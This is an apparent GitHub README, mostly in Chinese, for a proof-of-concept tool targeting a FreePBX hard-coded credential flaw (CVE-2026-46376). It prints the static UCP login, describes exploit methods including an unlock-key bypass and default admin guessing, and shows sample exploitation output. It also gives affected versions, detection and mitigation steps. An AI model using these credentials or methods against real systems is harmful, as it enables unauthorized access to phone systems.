portbuster1337/CVE-2026-46376
GitHub: portbuster1337/CVE-2026-46376
针对 FreePBX UCP 硬编码凭据漏洞(CVE-2026-46376)的概念验证与检测工具,用于验证目标系统是否存在未授权访问风险。
Stars: 0 | Forks: 0
# CVE-2026-46376 — FreePBX 通过硬编码凭据实现未授权 UCP 访问
FreePBX 的用户管理 (`userman`) 模块中存在一个严重漏洞,允许未经身份验证的攻击者使用在 UCP 通用模板设置过程中嵌入的硬编码凭据访问用户控制面板 (UCP)。
**CVSS v4.0: 9.1 (严重)** | **CWE-798: 使用硬编码凭据**
披露日期:2026 年 5 月 15 日 | 报告者:[s0nnyWT](https://github.com/s0nnyWT)
## 详情
当管理员使用可选的 UCP 通用模板设置功能(于 2021 年引入)时,系统会创建一个名为 `FreePBXUCPTemplateCreator` 的系统用户,并带有一个**硬编码的静态密码**。如果管理员在设置后从未更改此密码,网络上的任何未经身份验证的用户都可以使用这些凭据登录 UCP。
| 字段 | 值 |
|-------|-------|
| 用户名 | `FreePBXUCPTemplateCreator` |
| 密码 | `1a2b3c@fd48jshs03123ld` |
| 来源 | `Userman.class.php` — 密码通过 `md5()` 传递 |
| 攻击向量 | 网络 |
| 复杂度 | 低 |
| 需要身份验证 | 无 |
| 用户交互 | 无 |
| 前置条件 | 管理员必须已运行 UCP 通用模板设置 |
## 受影响版本
| 平台 | userman 模块 | 受影响 | 已修复 |
|----------|----------------|----------|---------|
| FreePBX 15 | — | 15.0.42+ | N/A |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |
该修复在安装/升级期间使用 `bin2hex(random_bytes(24))` 对密码进行随机化,并且现有的模板创建者会在升级时重新生成其密码。
## PoC 用法
```
pip3 install requests
python3 poc.py
```
### 选项
```
positional arguments:
target Target URL (e.g. http://192.168.1.100)
optional arguments:
-h, --help show this help message and exit
--no-check Skip version pre-flight check
--timeout TIMEOUT Request timeout in seconds (default: 15)
--method {creds,unlock,admin,all}
Which exploit method to run (default: all)
-y, --yes Auto-continue even if version is out of range
```
### 方法
1. **creds** — 通过 `POST /ucp/ajax.php`,使用 `module=User&command=login` 结合硬编码凭据登录 UCP
2. **unlock** — 尝试通过 `?unlockkey=&templateid=` 查询参数绕过解锁密钥
3. **admin** — 在 ACP 上尝试常见的默认管理员凭据
## 示例
```
$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
```
## 检测
要检查系统是否存在漏洞可利用性,PoC 会向 `POST /ucp/ajax.php` 发送包含 `module=User&command=login` 及该凭据的登录请求。`{"status":true}` 响应表示模板创建者用户存在且密码仍为默认值。
`{"status":false,"message":"Invalid Login Credentials"}` 响应意味着:
- 该用户不存在(从未运行过模板设置),或
- 密码已被轮换更改
## 缓解措施
- 将 `userman` 模块更新至 16.0.45 (FreePBX 16) 或 17.0.7 (FreePBX 17)
- 验证并轮换任何现有的 UCP 模板凭据 — 打补丁**不会**追溯更改已部署的密码
- 使用 FreePBX Firewall 模块将 ACP/UCP 访问限制在受信任的网络内
- 启用 MFA 或 SAML 作为额外的身份验证层
- 审计活动的 UCP 会话以排查未经授权的登录
## 免责声明
此 PoC 仅用于**教育和授权的安全测试目的**。未经授权,对您不拥有或未获得明确测试许可的系统使用此漏洞攻击是非法的。作者对任何滥用本工具或由此造成的损害概不负责。
## 参考
- [GHSA-m55x-h47x-v3gx](https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m55x-h47x-v3gx)
- [NVD - CVE-2026-46376](https://nvd.nist.gov/vuln/detail/CVE-2026-46376)
- [FreePBX userman 提交记录(引入漏洞)](https://github.com/FreePBX/userman/commit/7aa066e99210836e5c223b4f8b7be973ab5ad783)
标签:CISA项目, CVE-2026-46376, FreePBX, PoC, 暴力破解, 硬编码凭证, 逆向工具